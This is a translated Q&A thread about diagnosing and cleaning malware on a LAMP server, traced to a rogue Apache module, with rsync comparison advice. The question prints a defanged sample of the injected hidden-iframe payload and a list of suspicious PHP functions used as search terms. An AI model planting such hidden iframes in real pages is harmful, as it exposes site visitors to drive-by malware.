惡意軟體:辨識和清理 LAMP 站點上的惡意軟體
編輯:本帖評論中包含的更多資訊/調查資訊
為模糊的標題道歉 - 總結這個有困難。
我最近發現我的一個網站提供惡意軟體。因此,我對 httpdocs 下的每個文件進行了 grep 並尋找任何可疑的東西,即呼叫 shell_exec、eval、base64、passthru、includes、requires、php 文件中的 cookie 函式。我還瀏覽了所有 JS 文件以尋找可疑方法,此外,由於網站的各個方面都是從數據庫建構的,因此我已經搜尋了任何可疑的東西(使用 phpmyadmin db 搜尋功能來查找 php shell 等和典型的 js 惡意軟體命令)
一切都無濟於事,我根本找不到這是哪裡。因此,我重新上傳了我正在執行的軟體的所有文件,並有效地重新安裝了站點文件。我也有提供的軟體來檢查,他們也找不到任何東西。
這讓我得出的結論是,更高級別的某些東西,即 Apache 已經受到損害。所以問題是我應該在這裡檢查什麼?
我正在執行一個只為這個站點提供服務的專用伺服器,並且只有我可以訪問(他說)所以我可以執行任何需要的東西來幫助診斷這個
惡意軟體如何呈現自己?
間歇性地將以下程式碼放入我的標籤中:
<style> .iqb71l { position:absolute; left:-1958px; top:-1826px} </style> <div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div>
注意:在上面的程式碼範例中,我已將“http”更改為“hXXp”,並將 IP 地址更改為“1.1.1.1”
但是,程式碼並不總是注入它似乎是隨機添加的。此外,當程式碼確實出現 IP 地址時,後面的 guid 和類名通常是不同的。
此外,沒有任何惡意軟體掃描程序(即 Google 網站管理員工具等)能夠檢測到這一點。所以我猜這不僅僅是一個基本的注入,它是隨機選擇何時出現,它是動態選擇一個注入地址,並且對於惡意軟體掃描器的引用者來說似乎是不可見的。
花了很多時間Google這個我還沒有找到任何類似的實例,但是我發現了很多關於網站管理員詢問他們伺服器上出現的神秘 q.php 文件的參考資料。
在這裡回答我自己的問題(這絕不會貶低 JakeGould 的回答)
我終於找到了造成這種情況的原因,而不是一篇文章,所有這些都整齊地總結在這個頁面上:
使用該頁面上的指南(和連結的文章),我查看了載入的 Apache 模組,發現 mod_view_proxy.so 不是已知的 Apache 模組。這是通過 /etc/httpd/conf.d/perl.conf 中的 LoadModule 指令載入到 Apache 中的。所有文件都已被觸摸,因此它們上的日期時間戳看起來並不可疑。正如部落格條目所提到的,SSHD 也被替換為不同的版本。
至於它是如何受到損害的,並不完全確定——假設它是由執行和舊版本的 vBulletin 和/或其外掛之一引起的(這完全是我的錯)。
我還需要給這些傢伙他們的會費:
正如你從這個文章中看到的那樣,我已經用盡了我所有的想法和我的技術能力,所以作為最後的手段,我帶著我所知道和做過的一切去了 Sucuri。是的,這是一項付費服務,但他們發現了問題並解決了問題——他們的服務非常棒。他們真的有興趣幫助我解決這個問題,這是我們這些天不經常看到的水平服務。我對他們只有讚美之詞,並且會毫不猶豫地將他們推薦給任何處於我地位的人。
辨識 PHP 程式碼中的惡意軟體是一場噩夢。但我將傳遞一些我從成功清理這些噩夢中收集到的一些基本技巧。
首先,您是否在任何地方都有該網站的干淨版本?例如與您可以比較的版本
staging
相鄰的版本?production
如果是這樣,在這樣rsync
的模式下執行 CRC 檢查dry-run
:rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/
請注意,我添加了一些
--exclude
參數來排除對已知臨時和記憶體目錄的檢查。如果您沒有要比較的站點的干淨副本,只需下載您正在使用的 PHP 軟體的干淨安裝版本,將其用作比較基礎。假設您有一個被感染的 WordPress 網站?下載與上面完全相同的 WordPress 版本並進行 Rsync 比較。
單獨進行 Rsync CRC/Dry-Run 比較,他幫助我追踪感染並立即清理它們。基本上,逐一查看 Rsync 認為不同或新的文件列表,以查看它們是否被感染。10 次中有 9 次你會發現在文件末尾註入的程式碼——因為沒有更好的術語——看起來像垃圾。那將是感染。
但不要拍拍自己的背。變化是有其他感染。在許多情況下,至少有 2 或 3 個以上。因此,手動檢查 Rsync 聲明不同的每個文件,直到完全清理乾淨。
你沒有說什麼 PHP 程式碼是你網站的基礎,但我也會立即建議將你的安裝更新到該軟體的最新更新檔版本。很有可能您不是第一個,這是一個已知問題,因此修補程序將堵住惡意軟體一開始就遇到的漏洞。
哦,關於惡意軟體進入您的數據庫,這可能是一個入口點,但通常情況下,惡意軟體蠕蟲通過數據庫獲得使用者訪問權限,然後將惡意軟體寫入您文件系統上的 PHP 程式碼庫,從而進入您的站點。